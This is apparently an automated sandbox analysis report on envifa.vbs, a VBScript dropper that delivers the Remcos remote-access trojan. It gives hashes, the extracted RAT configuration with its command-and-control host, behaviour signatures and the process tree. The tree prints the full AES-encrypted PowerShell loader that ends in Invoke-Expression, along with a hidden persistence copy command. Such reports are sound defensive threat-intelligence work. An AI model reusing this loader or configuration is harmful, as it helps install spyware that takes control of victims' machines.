Analysis
-
max time kernel
290s -
max time network
295s -
platform
windows10-1703_x64 -
resource
win10-20231025-en -
resource tags
arch:x64arch:x86image:win10-20231025-enlocale:en-usos:windows10-1703-x64system -
submitted
05-12-2023 18:38
Static task
static1
Behavioral task
behavioral1
Sample
envifa.vbs
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
envifa.vbs
Resource
win10-20231025-en
Behavioral task
behavioral3
Sample
envifa.vbs
Resource
win10v2004-20231127-en
Behavioral task
behavioral4
Sample
envifa.vbs
Resource
win11-20231128-en
General
-
Target
envifa.vbs
-
Size
159KB
-
MD5
5b0011526c3005e35e88002cfcf3dff8
-
SHA1
5b0b70c2857e84d0abe2b04b0593ccfc49395a8f
-
SHA256
043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401
-
SHA512
4af5c688c4c971950724cd706d09d968973fc65f9b69bf5a969900771577b56799e33d3ca2dd0972ff78d06f4751d609711b19ee793c159189981ed07946d989
-
SSDEEP
3072:jk+jUIUfUPUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUVUPUdUgUgUgUgUgUgUgUo:XjUIUfUPUgUgUgUgUgUgUgUgUgUgUgUL
Malware Config
Extracted
remcos
RemoteHost
remccoss2023.duckdns.org:4576
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
registros.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-E5ZBB0
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Capturas de pantalla
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 2 2916 powershell.exe 5 2916 powershell.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2916 set thread context of 4172 2916 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 2916 powershell.exe 2916 powershell.exe 2916 powershell.exe 3172 powershell.exe 3172 powershell.exe 3172 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2916 powershell.exe Token: SeDebugPrivilege 3172 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 4172 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1332 wrote to memory of 2916 1332 WScript.exe powershell.exe PID 1332 wrote to memory of 2916 1332 WScript.exe powershell.exe PID 2916 wrote to memory of 3172 2916 powershell.exe powershell.exe PID 2916 wrote to memory of 3172 2916 powershell.exe powershell.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe PID 2916 wrote to memory of 4172 2916 powershell.exe RegAsm.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '58417081275505453806';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
-
C:\ProgramData\remcos\registros.datFilesize
144B
MD5bf306e98b8575f3eb0fa3b040090ef41
SHA1a50e3c21a00c91aa9af6074816ae9b76dd86c1c0
SHA256b0e14b0220c5c706e1f98ff3754f20a7fa1f9b0d3a31555a645a690423770644
SHA5128ddf6857be95e63bdd759c60a888b44f12573b49a57abb5925763b3d7ae6b27363136f43472264bc88e1d38e63357aee52a641fd05481c126af24051e982f5b1
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5f6c90ab0db80c6c3ea92556fda7273c7
SHA101d3866b1887cbb0abe9701f6b49c5dbc66a7dfa
SHA256a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269
SHA512aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
2KB
MD5679c08c2fcef41f7ff70c991404bbc84
SHA1efb3707a241424adc528888f9f161d04be21ef69
SHA256049e9c3cc1fd8c01c6f980e8e87070d02fafa41eae7d60376b939552e7942dc1
SHA5121f2d713f8f3e77efaa7484bdc463ab47541b4673b1e35e77437c87cb7682185b4b76a3823768f5ceb100d7d1c0c73f123282fd4715355f3bdde4228eb455c763
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zv00cg1g.res.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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memory/2916-29-0x00000237FEBC0000-0x00000237FEBCC000-memory.dmpFilesize
48KB
-
memory/2916-4-0x00000237E6750000-0x00000237E6772000-memory.dmpFilesize
136KB
-
memory/2916-25-0x00000237FE9B0000-0x00000237FE9C0000-memory.dmpFilesize
64KB
-
memory/2916-26-0x0000023780000000-0x00000237807A6000-memory.dmpFilesize
7.6MB
-
memory/2916-71-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmpFilesize
9.9MB
-
memory/2916-34-0x0000023FFF520000-0x0000023FFF53E000-memory.dmpFilesize
120KB
-
memory/2916-5-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmpFilesize
9.9MB
-
memory/2916-10-0x00000237FEB40000-0x00000237FEBB6000-memory.dmpFilesize
472KB
-
memory/2916-7-0x00000237FE9B0000-0x00000237FE9C0000-memory.dmpFilesize
64KB
-
memory/2916-9-0x00000237FE9B0000-0x00000237FE9C0000-memory.dmpFilesize
64KB
-
memory/3172-40-0x000001B32D730000-0x000001B32D740000-memory.dmpFilesize
64KB
-
memory/3172-61-0x000001B32D730000-0x000001B32D740000-memory.dmpFilesize
64KB
-
memory/3172-70-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmpFilesize
9.9MB
-
memory/3172-41-0x000001B32D730000-0x000001B32D740000-memory.dmpFilesize
64KB
-
memory/3172-37-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmpFilesize
9.9MB
-
memory/4172-96-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-107-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-72-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-75-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-77-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-78-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-79-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-80-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-81-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-82-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-83-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-84-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-85-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-86-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-88-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-89-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-90-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-91-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-92-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-93-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-95-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-68-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-97-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-98-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-99-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-100-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-102-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-103-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-104-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-105-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-106-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-74-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-108-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-109-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-111-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-112-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-113-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-114-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-115-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-116-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-60-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-118-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-119-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-120-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-121-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-122-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-123-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-124-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-125-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-127-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-128-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-129-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-130-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-131-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-132-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-133-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-135-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-136-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-137-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-138-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-139-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/4172-140-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB